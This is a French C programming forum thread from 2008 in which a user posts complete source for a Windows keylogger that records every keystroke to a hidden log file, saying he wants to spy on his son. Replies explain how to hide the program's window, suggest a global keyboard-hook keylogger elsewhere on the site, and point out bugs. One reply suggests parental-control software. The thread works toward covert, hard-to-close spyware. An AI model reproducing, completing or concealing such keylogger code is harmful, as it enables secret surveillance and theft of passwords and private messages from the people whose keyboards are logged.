begin process at 2010 02 10 11:06:23
  Trouver un code source :
 
dans
 
Accueil > Forum > 

C

 > 

Divers

 > 

Débutant(e)

 > 

keylogger


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

keylogger

mercredi 19 mars 2008 à 13:33:58 | keylogger

rebelattack

Bonjour, je souhaiterais surveillé les activité de mon fils sur le net, pour cela j'ai pensé a un keylogger. J'ai récupperé un code C sur votre site :
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);

int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];

int main(int argc, char *argv[])
{
  int i, lettre, result, lastresult, lastletter, compteur;
 
 GetCurrentDirectory(256, fichier);
 strcat(fichier,"\\capture.txt");
 sortie = fopen(fichier,"a+");
 result=0;
 compteur=0;    //on initialise
 lastresult=0;
 i=0;
 
 while ( i==0 ) { //boucle sans fin
 lettre=13;
 for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
  
  
  
   //passer les caractères inutiles
   if ( lettre==14 ) lettre=20;
   if ( lettre==21 ) lettre=32;
   if ( lettre==33 ) lettre=48;
   if ( lettre==58 ) lettre=65;
   if ( lettre==91 ) lettre=96;
   if ( lettre==108 ) lettre=109;
   if ( lettre==112 ) lettre=186;
   if ( lettre==189 ) lettre=190;
   if ( lettre==193 ) lettre=219;
   if ( lettre==220 ) lettre=221;
   if ( lettre==222 ) lettre=223;
  
   result=GetKeyState(lettre);
 
  //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
   if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
   if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
  

  
   if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
    {
   TraiterLettre(lettre); //je ne sais plus trop mais ça marche
   lastresult=result;
   lastletter=lettre;
   lettre=13; sleep(50);
   }
  
 } //fin de test des lettres
    sleep(1);
 } //fin de la boucle sans fin
 
  return 0;
}


int ismaj() {
   
    if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
    return 1;
     else return 0;
    }


int ismajpressed() {
    int result;
   
    result=GetKeyState(VK_SHIFT );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }
   

int isalt() {
    int result;
   
    result=GetKeyState(VK_MENU );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }


void TraiterLettre(int lettre) {
     char towrite; //la lettre que l'on va écrire dans la console
     static int compteur = 0;
    
     //traitement des chiffres ( un décalage )
     if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
   
     //Les lettres sont envoyées comme majuscules, il faut faire un décalage
     else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
    
     //Sinon on écrit telle quelle la lettre
     else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
    
     else switch ( lettre ) {
          case 32 : if ( isalt() ) towrite=' ';
           else towrite=' ';
                break;
          case 48 : if ( isalt() ) towrite='@';
           else towrite='à';
               break;
          case 49 : towrite='&';
               break;
          case 50 : towrite='é';
               break;
          case 51 : if ( isalt() ) towrite='#';
           else towrite='"';
               break;
          case 52 : if ( isalt() ) towrite='{';
           else towrite=39; // '
               break;
          case 53 : if ( isalt() ) towrite='[';
           else towrite='(';
               break;
          case 54 : if ( isalt() ) towrite='|';
           else towrite='-';
               break;
          case 55 : towrite='è';
               break;
          case 56 : if ( isalt() ) towrite='\\';
           else towrite='_';
               break;
          case 57 : towrite='ç';
               break;
          case 219 : if ( isalt() ) towrite=']';
           else towrite=')';
               break;
           case 187 : if ( isalt() ) towrite='}';
            else towrite='=';
               break;
           case 186 : towrite='$';
               break;
           case 192 : towrite='%';
               break;
           case 188 : if ( ismaj() ) towrite='?';
            else towrite=',';
               break;   
           case 190 : if ( ismaj() ) towrite='.';
            else towrite=';';
               break;
           case 191 : if ( ismaj() ) towrite='/';
            else towrite=':';
               break;
           case 223 : towrite='!';
               break;
           case 111 : towrite='/';
               break;
           case 106 : towrite='*';
               break;
           case 109 : towrite='-';
               break;        
           case 107 : towrite='+';
               break;
           case 110 : towrite='.';
               break;    
          }
    
     // On affiche les lettres. exception : la touche entrée
     if ( lettre==13 ) fprintf(sortie,"\n");
     else fprintf(sortie,"%c",towrite);
     compteur++;
     if ( compteur==2 ) {
        fclose(sortie);
        fopen(fichier,"a");
        compteur=0;
        }
     }

Je l'ai compiler avec Dev C++, et je l'ai lancé, il fonctionne très bien mais le seule problème c'est que la fenetre est apparente. Donc j'ai cherché un autre code pour masquer l'appli le voici (trouver sur ce site également ):

begin
  Application.Initialize;
  // Code a Rajouter
  Application.ShowMainForm := false; {:= true pour la montrer}
 // Fin du code a rajouter
  Application.Title := 'Mon Application';
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

Le problème c'est que je ne sais pas comment faire pour assembler les deux codes. Et comment puis je récupérer le fichier texte pour l'envoyer sur mon ordinnateur ?
Merci de vos réponse.

By rebelattack

mercredi 19 mars 2008 à 14:10:50 | Re : keylogger

cali70

Membre Club

begin
  Application.Initialize;
  // Code a Rajouter
  Application.ShowMainForm := false; {:= true pour la montrer}
 // Fin du code a rajouter
  Application.Title := 'Mon Application';
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

C'est du Delphi ca... et ton KeyLogger c'est du C! Ces deux codes ne sont pas compatibles, de plus il te faudrait un IDE Borland pour le compiler. Cherche un autre code car tu ne pouras pas les assembler.

mercredi 19 mars 2008 à 14:21:19 | Re : keylogger

Pistol_Pete

Salut

Si tu veux faire disparaitre la console, il faut creer un projet WIN32 application et non pas WIN32 console application et remplacer le main par ceci:

int WINAPI WinMain(       HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nCmdShow);

Cependant, tu ne pourras plus fermer ton programme => obliger de passer par le task manager

A+
Mon site internet : [ Lien ]

mercredi 19 mars 2008 à 15:49:58 | Re : keylogger

DeAtHCrAsH

Salut,
Plutot que de te casser les pieds pourquoi ne télécharge tu pas un logiciel de controle parental genre FreeAngel.
Pour ce qui est du keylogger il y en a plein sur ce site pret à etre compilé.

Shell
mercredi 19 mars 2008 à 15:52:55 | Re : keylogger

SAKingdom

Membre Club
for ( lettre==13 ; lettre<256 ; lettre++ )

Incorrect. La première section d'un for initialise la variable. Elle ne la compare pas.

if ( lettre==14 ) lettre=20;
   if ( lettre==21 ) lettre=32;
   if ( lettre==33 ) lettre=48;
   if ( lettre==58 ) lettre=65;
   if ( lettre==91 ) lettre=96;
   if ( lettre==108 ) lettre=109;
   if ( lettre==112 ) lettre=186;
   if ( lettre==189 ) lettre=190;
   if ( lettre==193 ) lettre=219;
   if ( lettre==220 ) lettre=221;
   if ( lettre==222 ) lettre=223;

À remplacer par switch case. S'avèrera beaucoup plus performant dans ce cas ci.

Ensuite, je me trompe peut-être, mais il me semble que pour faire un keylogger, il faut au minimum hooker le clavier. Je ne vois aucun hook dans ton code.

Finalement, tu utilises des fonctions de la console un peut partout dans ton code. Pas très discret ça. Ok pour cacher la console mais tu ne récupèrera jamais les informations interceptées par le programme. Il faudrait tout écrire dans un fichier.

Il existe des exemples de keylogger plus poussés et simple sur cppfrance.
Ceci par exemple:
http://www.cppfrance.com/codes/HOOK-GLOBAL-SANS-DLL_27169.aspx
Excellent exemple.

C++ (@++)

mercredi 19 mars 2008 à 16:06:32 | Re : keylogger

Pistol_Pete

>>SAKingdom
Dans cet exemple il n'ecrit rien dans la console mais tout dans le fichier "sortie".  (fprintf)

Sinon, je suis d'accort avec toi pour les autres remarques

A+
Mon site internet : [ Lien ]

mercredi 19 mars 2008 à 16:19:41 | Re : keylogger

SAKingdom

Membre Club
Ah oups oui c'est vrai.

C++ (@++)

jeudi 20 mars 2008 à 15:44:32 | Re : keylogger

rebelattack

Alors c'est quoi le code finale ? Pour répondre a votre question pourquoi je nb'installe pas un controle parental ? parce que soit je m'aperçois qu'il le désinstalle soit il crake le mot de passe.

By rebelattack

jeudi 20 mars 2008 à 16:16:34 | Re : keylogger

SAKingdom

Membre Club
Je n'arrive pas à comprendre comment ce code pourrait fonctionner. Il ne hook absolument rien.

Le mieux, je crois, serait de prendre le code que je t'ai donné en exemple plus haut et de recommencer à partir de là.

C++ (@++)

jeudi 20 mars 2008 à 18:40:56 | Re : keylogger

SAKingdom

Membre Club
Petite précision.
Quand j'écris : "prendre le code que je t'ai donné en exemple plus haut", je parle du code source à l'adresse que j'ai donné plus haut.
http://www.cppfrance.com/codes/HOOK-GLOBAL-SANS-DLL_27169.aspx

C++ (@++)



Cette discussion est classée dans : case, break, lettre, if, towrite


Répondre à ce message

Sujets en rapport avec ce message

Keylogger probleme code [ par rebelattack ] bonjour,J'ai un probleme lorsque je veux compiler ce code. Je suis débutant, mais j'ai réunis plusieur code et çà doit etre la le probleme. donc lorsq logiciel Borland C++ et DevC++ [ par waldomania ] Bonjour, j'ai un grand problème car j'ai programmé un mini projet sur un Dev C++ mais ça marche pas à Borland C++ le projet est en langage c (!=C++) Projet qui a besoin d'aide [ par juicestyle ] Tous d'abord bonjours à tous, j'espér trouver de l'aide ici. Voila je commence le C et j'ai un projet en tête <'est un petit logiciel pour créer des p Quelle est la faute dans ce code de language c? [ par krolis ] bon voilà mon code( désolée je n'ai pas le temps de lire le réglement, donc excusez-moi si j'écris qielque chose de pas bien)#include #include int mai Struct avec fonctions [ par Tybrenn ] Je suis débutant en c++. J'essaie de faire un prog. qui permet de maintenir l'inventaire d'un cellier. J'utilise une struct contenant l'info de chaque C : Problème d'indirection de fichier [ par MasterShadows ] Bonsoir à tous,alors dans le cadre de mon projet de C (on va appeler ça une série TV thèque), qui doit être fait en mode console, l'utilisateur doit p Eternel problème... [ par dayvid75014 ] Bonjour à tous, Voici un ptit bout de code, ayant pour but de récupérer un flux en héxa d'un fichier MPEG et d'en tirer des informations (en-tête, Touches clavier [ par F0ra ] Salut,Mon problème c'est que ça ne fonctionne pas quand j'appuie sur la touche de droite et bas en même temps par exemple.Que faire ?case WM_KEYDOWN:s pour que mes touches soient détectées immédiatement [ par snake57 ] Bonjour,j'ai un petit soucis avec la détection de touche. Je vous met le bout de code concerné plus bas pour que vous ayez une idée.Enfait je détecte Deplacement de plusieurs sprites à l'écran (SDL) [ par rasolofomanana ] Bonjour à tous, je débute en C et j'essaie de créer un programme où l'on peut déplacer plusieurs sprites à l'écran, par cases de 40px. Le problème es


Nos sponsors


Sondage...

CalendriCode

Février 2010
LMMJVSD
1234567
891011121314
15161718192021
22232425262728

Consulter la suite du CalendriCode

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,764 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales